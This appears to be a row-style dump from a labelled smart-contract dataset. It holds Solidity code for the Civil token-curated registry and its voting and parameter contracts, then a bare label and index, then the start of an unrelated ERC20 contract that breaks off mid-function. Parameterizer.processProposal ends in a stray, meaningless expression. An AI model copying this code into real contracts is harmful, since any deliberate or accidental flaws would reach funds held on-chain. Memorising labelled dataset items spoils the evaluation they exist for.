pollNonce); } function getCommitHash(address _voter, uint _pollID) constant public returns (bytes32 commitHash) { return bytes32(store.getAttribute(attrUUID(_voter, _pollID), "commitHash")); } function getNumTokens(address _voter, uint _pollID) constant public returns (uint numTokens) { return store.getAttribute(attrUUID(_voter, _pollID), "numTokens"); } function getLastNode(address _voter) constant public returns (uint pollID) { return dllMap[_voter].getPrev(0); } function getLockedTokens(address _voter) constant public returns (uint numTokens) { return getNumTokens(_voter, getLastNode(_voter)); } function getInsertPointForNumTokens(address _voter, uint _numTokens, uint _pollID) constant public returns (uint prevNode) { uint nodeID = getLastNode(_voter); uint tokensInNode = getNumTokens(_voter, nodeID); while(nodeID != 0) { tokensInNode = getNumTokens(_voter, nodeID); if(tokensInNode <= _numTokens) { if(nodeID == _pollID) { nodeID = dllMap[_voter].getPrev(nodeID); } return nodeID; } nodeID = dllMap[_voter].getPrev(nodeID); } return nodeID; } function isExpired(uint _terminationDate) constant public returns (bool expired) { return (block.timestamp > _terminationDate); } function attrUUID(address _user, uint _pollID) public pure returns (bytes32 UUID) { return keccak256(_user, _pollID); } } pragma solidity^0.4.11; contract Parameterizer { event _ReparameterizationProposal(string name, uint value, bytes32 propID, uint deposit, uint appEndDate, address indexed proposer); event _NewChallenge(bytes32 indexed propID, uint challengeID, uint commitEndDate, uint revealEndDate, address indexed challenger); event _ProposalAccepted(bytes32 indexed propID, string name, uint value); event _ProposalExpired(bytes32 indexed propID); event _ChallengeSucceeded(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens); event _ChallengeFailed(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens); event _RewardClaimed(uint indexed challengeID, uint reward, address indexed voter); using SafeMath for uint; struct ParamProposal { uint appExpiry; uint challengeID; uint deposit; string name; address owner; uint processBy; uint value; } struct Challenge { uint rewardPool; address challenger; bool resolved; uint stake; uint winningTokens; mapping(address => bool) tokenClaims; } mapping(bytes32 => uint) public params; mapping(uint => Challenge) public challenges; mapping(bytes32 => ParamProposal) public proposals; IERC20 public token; PLCRVoting public voting; uint public PROCESSBY = 604800; constructor( address _token, address _plcr, uint[] _parameters ) public { token = IERC20(_token); voting = PLCRVoting(_plcr); set("minDeposit", _parameters[0]); set("pMinDeposit", _parameters[1]); set("applyStageLen", _parameters[2]); set("pApplyStageLen", _parameters[3]); set("commitStageLen", _parameters[4]); set("pCommitStageLen", _parameters[5]); set("revealStageLen", _parameters[6]); set("pRevealStageLen", _parameters[7]); set("dispensationPct", _parameters[8]); set("pDispensationPct", _parameters[9]); set("voteQuorum", _parameters[10]); set("pVoteQuorum", _parameters[11]); } function proposeReparameterization(string _name, uint _value) public returns (bytes32) { uint deposit = get("pMinDeposit"); bytes32 propID = keccak256(_name, _value); if (keccak256(_name) == keccak256("dispensationPct") || keccak256(_name) == keccak256("pDispensationPct")) { require(_value <= 100); } require(!propExists(propID)); require(get(_name) != _value); proposals[propID] = ParamProposal({ appExpiry: now.add(get("pApplyStageLen")), challengeID: 0, deposit: deposit, name: _name, owner: msg.sender, processBy: now.add(get("pApplyStageLen")) .add(get("pCommitStageLen")) .add(get("pRevealStageLen")) .add(PROCESSBY), value: _value }); require(token.transferFrom(msg.sender, this, deposit)); emit _ReparameterizationProposal(_name, _value, propID, deposit, proposals[propID].appExpiry, msg.sender); return propID; } function challengeReparameterization(bytes32 _propID) public returns (uint challengeID) { ParamProposal memory prop = proposals[_propID]; uint deposit = prop.deposit; require(propExists(_propID) && prop.challengeID == 0); uint pollID = voting.startPoll( get("pVoteQuorum"), get("pCommitStageLen"), get("pRevealStageLen") ); challenges[pollID] = Challenge({ challenger: msg.sender, rewardPool: SafeMath.sub(100, get("pDispensationPct")).mul(deposit).div(100), stake: deposit, resolved: false, winningTokens: 0 }); proposals[_propID].challengeID = pollID; require(token.transferFrom(msg.sender, this, deposit)); var (commitEndDate, revealEndDate,) = voting.pollMap(pollID); emit _NewChallenge(_propID, pollID, commitEndDate, revealEndDate, msg.sender); return pollID; } function processProposal(bytes32 _propID) public { ParamProposal storage prop = proposals[_propID]; address propOwner = prop.owner; uint propDeposit = prop.deposit; if (canBeSet(_propID)) { set(prop.name, prop.value); emit _ProposalAccepted(_propID, prop.name, prop.value); delete proposals[_propID]; require(token.transfer(propOwner, propDeposit)); } else if (challengeCanBeResolved(_propID)) { resolveChallenge(_propID); } else if (now > prop.processBy) { emit _ProposalExpired(_propID); delete proposals[_propID]; require(token.transfer(propOwner, propDeposit)); } else { revert(); } assert(get("dispensationPct") <= 100); assert(get("pDispensationPct") <= 100); now.add(get("pApplyStageLen")) .add(get("pCommitStageLen")) .add(get("pRevealStageLen")) .add(PROCESSBY); delete proposals[_propID]; } function claimReward(uint _challengeID, uint _salt) public { require(challenges[_challengeID].tokenClaims[msg.sender] == false); require(challenges[_challengeID].resolved == true); uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID, _salt); uint reward = voterReward(msg.sender, _challengeID, _salt); challenges[_challengeID].winningTokens -= voterTokens; challenges[_challengeID].rewardPool -= reward; challenges[_challengeID].tokenClaims[msg.sender] = true; emit _RewardClaimed(_challengeID, reward, msg.sender); require(token.transfer(msg.sender, reward)); } function claimRewards(uint[] _challengeIDs, uint[] _salts) public { require(_challengeIDs.length == _salts.length); for (uint i = 0; i < _challengeIDs.length; i++) { claimReward(_challengeIDs[i], _salts[i]); } } function voterReward(address _voter, uint _challengeID, uint _salt) public view returns (uint) { uint winningTokens = challenges[_challengeID].winningTokens; uint rewardPool = challenges[_challengeID].rewardPool; uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID, _salt); return (voterTokens * rewardPool) / winningTokens; } function canBeSet(bytes32 _propID) view public returns (bool) { ParamProposal memory prop = proposals[_propID]; return (now > prop.appExpiry && now < prop.processBy && prop.challengeID == 0); } function propExists(bytes32 _propID) view public returns (bool) { return proposals[_propID].processBy > 0; } function challengeCanBeResolved(bytes32 _propID) view public returns (bool) { ParamProposal memory prop = proposals[_propID]; Challenge memory challenge = challenges[prop.challengeID]; return (prop.challengeID > 0 && challenge.resolved == false && voting.pollEnded(prop.challengeID)); } function challengeWinnerReward(uint _challengeID) public view returns (uint) { if(voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) { return 2 * challenges[_challengeID].stake; } return (2 * challenges[_challengeID].stake) - challenges[_challengeID].rewardPool; } function get(string _name) public view returns (uint value) { return params[keccak256(_name)]; } function tokenClaims(uint _challengeID, address _voter) public view returns (bool) { return challenges[_challengeID].tokenClaims[_voter]; } function resolveChallenge(bytes32 _propID) private { ParamProposal memory prop = proposals[_propID]; Challenge storage challenge = challenges[prop.challengeID]; uint reward = challengeWinnerReward(prop.challengeID); challenge.winningTokens = voting.getTotalNumberOfTokensForWinningOption(prop.challengeID); challenge.resolved = true; if (voting.isPassed(prop.challengeID)) { if(prop.processBy > now) { set(prop.name, prop.value); } emit _ChallengeFailed(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens); require(token.transfer(prop.owner, reward)); } else { emit _ChallengeSucceeded(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens); require(token.transfer(challenges[prop.challengeID].challenger, reward)); } } function set(string _name, uint _value) internal { params[keccak256(_name)] = _value; } } pragma solidity ^0.4.24; contract AddressRegistry { event _Application(address indexed listingAddress, uint deposit, uint appEndDate, string data, address indexed applicant); event _Challenge(address indexed listingAddress, uint indexed challengeID, string data, uint commitEndDate, uint revealEndDate, address indexed challenger); event _Deposit(address indexed listingAddress, uint added, uint newTotal, address indexed owner); event _Withdrawal(address indexed listingAddress, uint withdrew, uint newTotal, address indexed owner); event _ApplicationWhitelisted(address indexed listingAddress); event _ApplicationRemoved(address indexed listingAddress); event _ListingRemoved(address indexed listingAddress); event _ListingWithdrawn(address indexed listingAddress); event _TouchAndRemoved(address indexed listingAddress); event _ChallengeFailed(address indexed listingAddress, uint indexed challengeID, uint rewardPool, uint totalTokens); event _ChallengeSucceeded(address indexed listingAddress, uint indexed challengeID, uint rewardPool, uint totalTokens); event _RewardClaimed(uint indexed challengeID, uint reward, address indexed voter); using SafeMath for uint; struct Listing { uint applicationExpiry; bool whitelisted; address owner; uint unstakedDeposit; uint challengeID; } struct Challenge { uint rewardPool; address challenger; bool resolved; uint stake; uint totalTokens; mapping(address => bool) tokenClaims; } mapping(uint => Challenge) public challenges; mapping(address => Listing) public listings; IERC20 public token; PLCRVoting public voting; Parameterizer public parameterizer; string public name; constructor(address _token, address _voting, address _parameterizer, string _name) public { require(_token != 0, "_token address is 0"); require(_voting != 0, "_voting address is 0"); require(_parameterizer != 0, "_parameterizer address is 0"); token = IERC20(_token); voting = PLCRVoting(_voting); parameterizer = Parameterizer(_parameterizer); name = _name; } function apply(address listingAddress, uint _amount, string _data) public { require(!isWhitelisted(listingAddress), "Listing already whitelisted"); require(!appWasMade(listingAddress), "Application already made for this address"); require(_amount >= parameterizer.get("minDeposit"), "Deposit amount not above minDeposit"); Listing storage listing = listings[listingAddress]; listing.owner = msg.sender; listing.applicationExpiry = block.timestamp.add(parameterizer.get("applyStageLen")); listing.unstakedDeposit = _amount; require(token.transferFrom(listing.owner, this, _amount), "Token transfer failed"); emit _Application(listingAddress, _amount, listing.applicationExpiry, _data, msg.sender); } function deposit(address listingAddress, uint _amount) external { Listing storage listing = listings[listingAddress]; require(listing.owner == msg.sender, "Sender is not owner of Listing"); listing.unstakedDeposit += _amount; require(token.transferFrom(msg.sender, this, _amount), "Token transfer failed"); emit _Deposit(listingAddress, _amount, listing.unstakedDeposit, msg.sender); } function withdraw(address listingAddress, uint _amount) external { Listing storage listing = listings[listingAddress]; require(listing.owner == msg.sender, "Sender is not owner of listing"); require(_amount <= listing.unstakedDeposit, "Cannot withdraw more than current unstaked deposit"); if (listing.challengeID == 0 || challenges[listing.challengeID].resolved) { require(listing.unstakedDeposit - _amount >= parameterizer.get("minDeposit"), "Withdrawal prohibitied as it would put Listing unstaked deposit below minDeposit"); } listing.unstakedDeposit -= _amount; require(token.transfer(msg.sender, _amount), "Token transfer failed"); emit _Withdrawal(listingAddress, _amount, listing.unstakedDeposit, msg.sender); } function exit(address listingAddress) external { Listing storage listing = listings[listingAddress]; require(msg.sender == listing.owner, "Sender is not owner of listing"); require(isWhitelisted(listingAddress), "Listing must be whitelisted to be exited"); require(listing.challengeID == 0 || challenges[listing.challengeID].resolved, "Listing must not have an active challenge to be exited"); resetListing(listingAddress); emit _ListingWithdrawn(listingAddress); } function challenge(address listingAddress, string _data) public returns (uint challengeID) { Listing storage listing = listings[listingAddress]; uint minDeposit = parameterizer.get("minDeposit"); require(appWasMade(listingAddress) || listing.whitelisted, "Listing must be in application phase or already whitelisted to be challenged"); require(listing.challengeID == 0 || challenges[listing.challengeID].resolved, "Listing must not have active challenge to be challenged"); if (listing.unstakedDeposit < minDeposit) { resetListing(listingAddress); emit _TouchAndRemoved(listingAddress); return 0; } uint pollID = voting.startPoll( parameterizer.get("voteQuorum"), parameterizer.get("commitStageLen"), parameterizer.get("revealStageLen") ); uint oneHundred = 100; challenges[pollID] = Challenge({ challenger: msg.sender, rewardPool: ((oneHundred.sub(parameterizer.get("dispensationPct"))).mul(minDeposit)).div(100), stake: minDeposit, resolved: false, totalTokens: 0 }); listing.challengeID = pollID; listing.unstakedDeposit -= minDeposit; require(token.transferFrom(msg.sender, this, minDeposit), "Token transfer failed"); var (commitEndDate, revealEndDate,) = voting.pollMap(pollID); emit _Challenge(listingAddress, pollID, _data, commitEndDate, revealEndDate, msg.sender); return pollID; } function updateStatus(address listingAddress) public { if (canBeWhitelisted(listingAddress)) { whitelistApplication(listingAddress); } else if (challengeCanBeResolved(listingAddress)) { resolveChallenge(listingAddress); } else { revert(); } } function updateStatuses(address[] listingAddresses) public { for (uint i = 0; i < listingAddresses.length; i++) { updateStatus(listingAddresses[i]); } } function claimReward(uint _challengeID, uint _salt) public { require(challenges[_challengeID].tokenClaims[msg.sender] == false, "Reward already claimed"); require(challenges[_challengeID].resolved == true, "Challenge not yet resolved"); uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID, _salt); uint reward = voterReward(msg.sender, _challengeID, _salt); challenges[_challengeID].totalTokens -= voterTokens; challenges[_challengeID].rewardPool -= reward; challenges[_challengeID].tokenClaims[msg.sender] = true; require(token.transfer(msg.sender, reward), "Token transfer failed"); emit _RewardClaimed(_challengeID, reward, msg.sender); } function claimRewards(uint[] _challengeIDs, uint[] _salts) public { require(_challengeIDs.length == _salts.length, "Mismatch in length of _challengeIDs and _salts parameters"); for (uint i = 0; i < _challengeIDs.length; i++) { claimReward(_challengeIDs[i], _salts[i]); } } function voterReward(address _voter, uint _challengeID, uint _salt) public view returns (uint) { uint totalTokens = challenges[_challengeID].totalTokens; uint rewardPool = challenges[_challengeID].rewardPool; uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID, _salt); return (voterTokens * rewardPool) / totalTokens; } function canBeWhitelisted(address listingAddress) view public returns (bool) { uint challengeID = listings[listingAddress].challengeID; if ( appWasMade(listingAddress) && listings[listingAddress].applicationExpiry < now && !isWhitelisted(listingAddress) && (challengeID == 0 || challenges[challengeID].resolved == true) ) { return true; } return false; } function isWhitelisted(address listingAddress) view public returns (bool whitelisted) { return listings[listingAddress].whitelisted; } function appWasMade(address listingAddress) view public returns (bool exists) { return listings[listingAddress].applicationExpiry > 0; } function challengeExists(address listingAddress) view public returns (bool) { uint challengeID = listings[listingAddress].challengeID; return (listings[listingAddress].challengeID > 0 && !challenges[challengeID].resolved); } function challengeCanBeResolved(address listingAddress) view public returns (bool) { uint challengeID = listings[listingAddress].challengeID; require(challengeExists(listingAddress), "Challenge does not exist for Listing"); return voting.pollEnded(challengeID); } function determineReward(uint _challengeID) public view returns (uint) { require(!challenges[_challengeID].resolved, "Challenge already resolved"); require(voting.pollEnded(_challengeID), "Poll for challenge has not ended"); if (voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) { return 2 * challenges[_challengeID].stake; } return (2 * challenges[_challengeID].stake) - challenges[_challengeID].rewardPool; } function tokenClaims(uint _challengeID, address _voter) public view returns (bool) { return challenges[_challengeID].tokenClaims[_voter]; } function resolveChallenge(address listingAddress) internal { uint challengeID = listings[listingAddress].challengeID; uint reward = determineReward(challengeID); challenges[challengeID].resolved = true; challenges[challengeID].totalTokens = voting.getTotalNumberOfTokensForWinningOption(challengeID); if (voting.isPassed(challengeID)) { whitelistApplication(listingAddress); listings[listingAddress].unstakedDeposit += reward; emit _ChallengeFailed(listingAddress, challengeID, challenges[challengeID].rewardPool, challenges[challengeID].totalTokens); } else { resetListing(listingAddress); require(token.transfer(challenges[challengeID].challenger, reward), "Token transfer failure"); emit _ChallengeSucceeded(listingAddress, challengeID, challenges[challengeID].rewardPool, challenges[challengeID].totalTokens); } } function whitelistApplication(address listingAddress) internal { if (!listings[listingAddress].whitelisted) { emit _ApplicationWhitelisted(listingAddress); } listings[listingAddress].whitelisted = true; } function resetListing(address listingAddress) internal { Listing storage listing = listings[listingAddress]; if (listing.whitelisted) { emit _ListingRemoved(listingAddress); } else { emit _ApplicationRemoved(listingAddress); } address owner = listing.owner; uint unstakedDeposit = listing.unstakedDeposit; delete listings[listingAddress]; if (unstakedDeposit > 0){ require(token.transfer(owner, unstakedDeposit), "Token transfer failure"); } } } pragma solidity ^0.4.24; contract ContractAddressRegistry is AddressRegistry { modifier onlyContract(address contractAddress) { uint size; assembly { size := extcodesize(contractAddress) } require(size > 0, "Address is not a contract"); _; } constructor(address _token, address _voting, address _parameterizer, string _name) public AddressRegistry(_token, _voting, _parameterizer, _name) { } function apply(address listingAddress, uint amount, string data) onlyContract(listingAddress) public { super.apply(listingAddress, amount, data); } } pragma solidity ^0.4.24; contract RestrictedAddressRegistry is ContractAddressRegistry { modifier onlyContractOwner(address _contractAddress) { Ownable ownedContract = Ownable(_contractAddress); require(ownedContract.owner() == msg.sender, "Sender is not owner of contract"); _; } constructor(address _token, address _voting, address _parameterizer, string _name) public ContractAddressRegistry(_token, _voting, _parameterizer, _name) { } function apply(address listingAddress, uint amount, string data) onlyContractOwner(listingAddress) public { super.apply(listingAddress, amount, data); } } pragma solidity ^0.4.19; interface IGovernment { function getAppellate() public view returns (address); function getGovernmentController() public view returns (address); function get(string name) public view returns (uint); } pragma solidity ^0.4.23; interface TokenTelemetryI { function onRequestVotingRights(address user, uint tokenAmount) external; } pragma solidity ^0.4.23; contract CivilPLCRVoting is PLCRVoting { TokenTelemetryI public telemetry; constructor(address tokenAddr, address telemetryAddr) public PLCRVoting(tokenAddr) { require(telemetryAddr != 0); telemetry = TokenTelemetryI(telemetryAddr); } function requestVotingRights(uint _numTokens) public { super.requestVotingRights(_numTokens); telemetry.onRequestVotingRights(msg.sender, voteTokenBalance[msg.sender]); } function getNumLosingTokens(address _voter, uint _pollID, uint _salt) public view returns (uint correctVotes) { require(pollEnded(_pollID)); require(pollMap[_pollID].didReveal[_voter]); uint losingChoice = isPassed(_pollID) ? 0 : 1; bytes32 loserHash = keccak256(losingChoice, _salt); bytes32 commitHash = getCommitHash(_voter, _pollID); require(loserHash == commitHash); return getNumTokens(_voter, _pollID); } function getTotalNumberOfTokensForLosingOption(uint _pollID) public view returns (uint numTokens) { require(pollEnded(_pollID)); if (isPassed(_pollID)) return pollMap[_pollID].votesAgainst; else return pollMap[_pollID].votesFor; } } pragma solidity ^0.4.19; contract CivilParameterizer is Parameterizer { constructor( address tokenAddr, address plcrAddr, uint[] parameters ) public Parameterizer(tokenAddr, plcrAddr, parameters) { set("challengeAppealLen", parameters[12]); set("challengeAppealCommitLen", parameters[13]); set("challengeAppealRevealLen", parameters[14]); } } pragma solidity ^0.4.24; contract CivilTCR is RestrictedAddressRegistry { event _AppealRequested(address indexed listingAddress, uint indexed challengeID, uint appealFeePaid, address requester, string data); event _AppealGranted(address indexed listingAddress, uint indexed challengeID, string data); event _FailedChallengeOverturned(address indexed listingAddress, uint indexed challengeID, uint rewardPool, uint totalTokens); event _SuccessfulChallengeOverturned(address indexed listingAddress, uint indexed challengeID, uint rewardPool, uint totalTokens); event _GrantedAppealChallenged(address indexed listingAddress, uint indexed challengeID, uint indexed appealChallengeID, string data); event _GrantedAppealOverturned(address indexed listingAddress, uint indexed challengeID, uint indexed appealChallengeID, uint rewardPool, uint totalTokens); event _GrantedAppealConfirmed(address indexed listingAddress, uint indexed challengeID, uint indexed appealChallengeID, uint rewardPool, uint totalTokens); event _GovernmentTransfered(address newGovernment); modifier onlyGovernmentController { require(msg.sender == government.getGovernmentController(), "sender was not the Government Controller"); _; } modifier onlyAppellate { require(msg.sender == government.getAppellate(), "sender was not the Appellate"); _; } CivilPLCRVoting public civilVoting; IGovernment public government; struct Appeal { address requester; uint appealFeePaid; uint appealPhaseExpiry; bool appealGranted; uint appealOpenToChallengeExpiry; uint appealChallengeID; bool overturned; } mapping(uint => uint) public challengeRequestAppealExpiries; mapping(uint => Appeal) public appeals; constructor( IERC20 token, CivilPLCRVoting plcr, CivilParameterizer param, IGovernment govt ) public RestrictedAddressRegistry(token, address(plcr), address(param), "CivilTCR") { require(address(govt) != 0, "govt address was zero"); require(govt.getGovernmentController() != 0, "govt.getGovernmentController address was 0"); civilVoting = plcr; government = govt; } function apply(address listingAddress, uint amount, string data) public { super.apply(listingAddress, amount, data); } function requestAppeal(address listingAddress, string data) external { Listing storage listing = listings[listingAddress]; require(voting.pollEnded(listing.challengeID), "Poll for listing challenge has not ended"); require(challengeRequestAppealExpiries[listing.challengeID] > now, "Request Appeal phase is over"); require(appeals[listing.challengeID].requester == address(0), "Appeal for this challenge has already been made"); uint appealFee = government.get("appealFee"); Appeal storage appeal = appeals[listing.challengeID]; appeal.requester = msg.sender; appeal.appealFeePaid = appealFee; appeal.appealPhaseExpiry = now.add(government.get("judgeAppealLen")); require(token.transferFrom(msg.sender, this, appealFee), "Token transfer failed"); emit _AppealRequested(listingAddress, listing.challengeID, appealFee, msg.sender, data); } function grantAppeal(address listingAddress, string data) external onlyAppellate { Listing storage listing = listings[listingAddress]; Appeal storage appeal = appeals[listing.challengeID]; require(appeal.appealPhaseExpiry > now, "Judge Appeal phase not active"); require(!appeal.appealGranted, "Appeal has already been granted"); appeal.appealGranted = true; appeal.appealOpenToChallengeExpiry = now.add(parameterizer.get("challengeAppealLen")); emit _AppealGranted(listingAddress, listing.challengeID, data); } function transferGovernment(IGovernment newGovernment) external onlyGovernmentController { require(address(newGovernment) != address(0), "New Government address is 0"); government = newGovernment; emit _GovernmentTransfered(newGovernment); } function updateStatus(address listingAddress) public { if (canBeWhitelisted(listingAddress)) { whitelistApplication(listingAddress); } else if (challengeCanBeResolved(listingAddress)) { resolveChallenge(listingAddress); } else if (appealCanBeResolved(listingAddress)) { resolveAppeal(listingAddress); } else if (appealChallengeCanBeResolved(listingAddress)) { resolveAppealChallenge(listingAddress); } else { revert(); } } function resolveAppeal(address listingAddress) internal { Listing listing = listings[listingAddress]; Appeal appeal = appeals[listing.challengeID]; if (appeal.appealGranted) { resolveOverturnedChallenge(listingAddress); require(token.transfer(appeal.requester, appeal.appealFeePaid), "Token transfer failed"); } else { Challenge storage challenge = challenges[listing.challengeID]; uint extraReward = appeal.appealFeePaid.div(2); challenge.rewardPool = challenge.rewardPool.add(extraReward); challenge.stake = challenge.stake.add(appeal.appealFeePaid.sub(extraReward)); super.resolveChallenge(listingAddress); } } function challenge(address listingAddress, string data) public returns (uint challengeID) { uint id = super.challenge(listingAddress, data); if (id > 0) { uint challengeLength = parameterizer.get("commitStageLen").add(parameterizer.get("revealStageLen")).add(government.get("requestAppealLen")); challengeRequestAppealExpiries[id] = now.add(challengeLength); } return id; } function challengeGrantedAppeal(address listingAddress, string data) public returns (uint challengeID) { Listing storage listing = listings[listingAddress]; Appeal storage appeal = appeals[listing.challengeID]; require(appeal.appealGranted, "Appeal not granted"); require(appeal.appealChallengeID == 0, "Appeal already challenged"); require(appeal.appealOpenToChallengeExpiry > now, "Appeal no longer open to challenge"); uint pollID = voting.startPoll( government.get("appealVotePercentage"), parameterizer.get("challengeAppealCommitLen"), parameterizer.get("challengeAppealRevealLen") ); uint oneHundred = 100; uint reward = (oneHundred.sub(government.get("appealChallengeVoteDispensationPct"))).mul(appeal.appealFeePaid).div(oneHundred); challenges[pollID] = Challenge({ challenger: msg.sender, rewardPool: reward, stake: appeal.appealFeePaid, resolved: false, totalTokens: 0 }); appeal.appealChallengeID = pollID; require(token.transferFrom(msg.sender, this, appeal.appealFeePaid), "Token transfer failed"); emit _GrantedAppealChallenged(listingAddress, listing.challengeID, pollID, data); return pollID; } function resolveAppealChallenge(address listingAddress) internal { Listing storage listing = listings[listingAddress]; uint challengeID = listings[listingAddress].challengeID; Appeal storage appeal = appeals[listing.challengeID]; uint appealChallengeID = appeal.appealChallengeID; Challenge storage appealChallenge = challenges[appeal.appealChallengeID]; uint reward = determineReward(appealChallengeID); appealChallenge.resolved = true; appealChallenge.totalTokens = voting.getTotalNumberOfTokensForWinningOption(appealChallengeID); if (voting.isPassed(appealChallengeID)) { appeal.overturned = true; super.resolveChallenge(listingAddress); require(token.transfer(appealChallenge.challenger, reward), "Token transfer failed"); emit _GrantedAppealOverturned(listingAddress, challengeID, appealChallengeID, appealChallenge.rewardPool, appealChallenge.totalTokens); } else { resolveOverturnedChallenge(listingAddress); require(token.transfer(appeal.requester, reward), "Token transfer failed"); emit _GrantedAppealConfirmed(listingAddress, challengeID, appealChallengeID, appealChallenge.rewardPool, appealChallenge.totalTokens); } } function claimReward(uint _challengeID, uint _salt) public { require(challenges[_challengeID].tokenClaims[msg.sender] == false, "Reward already claimed"); require(challenges[_challengeID].resolved == true, "Challenge not yet resolved"); uint voterTokens = getNumChallengeTokens(msg.sender, _challengeID, _salt); uint reward = voterReward(msg.sender, _challengeID, _salt); challenges[_challengeID].totalTokens = challenges[_challengeID].totalTokens.sub(voterTokens); challenges[_challengeID].rewardPool = challenges[_challengeID].rewardPool.sub(reward); challenges[_challengeID].tokenClaims[msg.sender] = true; require(token.transfer(msg.sender, reward), "Token transfer failed"); emit _RewardClaimed(_challengeID, reward, msg.sender); } function getNumChallengeTokens(address voter, uint challengeID, uint salt) internal view returns (uint) { bool challengeOverturned = appeals[challengeID].appealGranted && !appeals[challengeID].overturned; if (challengeOverturned) { return civilVoting.getNumLosingTokens(voter, challengeID, salt); } else { return voting.getNumPassingTokens(voter, challengeID, salt); } } function determineReward(uint challengeID) public view returns (uint) { require(!challenges[challengeID].resolved, "Challenge already resolved"); require(voting.pollEnded(challengeID), "Poll for challenge has not ended"); bool challengeOverturned = appeals[challengeID].appealGranted && !appeals[challengeID].overturned; if (challengeOverturned) { if (civilVoting.getTotalNumberOfTokensForLosingOption(challengeID) == 0) { return 2 * challenges[challengeID].stake; } } else { if (voting.getTotalNumberOfTokensForWinningOption(challengeID) == 0) { return 2 * challenges[challengeID].stake; } } return (2 * challenges[challengeID].stake) - challenges[challengeID].rewardPool; } function voterReward( address voter, uint challengeID, uint salt ) public view returns (uint) { Challenge challenge = challenges[challengeID]; uint totalTokens = challenge.totalTokens; uint rewardPool = challenge.rewardPool; uint voterTokens = getNumChallengeTokens(voter, challengeID, salt); return (voterTokens.mul(rewardPool)).div(totalTokens); } function whitelistApplication(address listingAddress) internal { super.whitelistApplication(listingAddress); listings[listingAddress].challengeID = 0; } function resolveOverturnedChallenge(address listingAddress) private { Listing storage listing = listings[listingAddress]; uint challengeID = listing.challengeID; Challenge storage challenge = challenges[challengeID]; uint reward = determineReward(challengeID); challenge.resolved = true; challenge.totalTokens = civilVoting.getTotalNumberOfTokensForLosingOption(challengeID); if (!voting.isPassed(challengeID)) { whitelistApplication(listingAddress); listing.unstakedDeposit = listing.unstakedDeposit.add(reward); emit _SuccessfulChallengeOverturned(listingAddress, challengeID, challenge.rewardPool, challenge.totalTokens); } else { resetListing(listingAddress); require(token.transfer(challenge.challenger, reward), "Token transfer failed"); emit _FailedChallengeOverturned(listingAddress, challengeID, challenge.rewardPool, challenge.totalTokens); } } function challengeCanBeResolved(address listingAddress) view public returns (bool canBeResolved) { uint challengeID = listings[listingAddress].challengeID; require(challengeExists(listingAddress), "Challenge does not exist for listing"); if (challengeRequestAppealExpiries[challengeID] > now) { return false; } return (appeals[challengeID].appealPhaseExpiry == 0); } function appealCanBeResolved(address listingAddress) view public returns (bool canBeResolved) { uint challengeID = listings[listingAddress].challengeID; Appeal appeal = appeals[challengeID]; require(challengeExists(listingAddress), "Challenge does not exist for listing"); if (appeal.appealPhaseExpiry == 0) { return false; } if (!appeal.appealGranted) { return appeal.appealPhaseExpiry < now; } else { return appeal.appealOpenToChallengeExpiry < now && appeal.appealChallengeID == 0; } } function appealChallengeCanBeResolved(address listingAddress) view public returns (bool canBeResolved) { uint challengeID = listings[listingAddress].challengeID; Appeal appeal = appeals[challengeID]; require(challengeExists(listingAddress), "Challenge does not exist for listing"); if (appeal.appealChallengeID == 0) { return false; } return voting.pollEnded(appeal.appealChallengeID); } }
1
5,276
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint 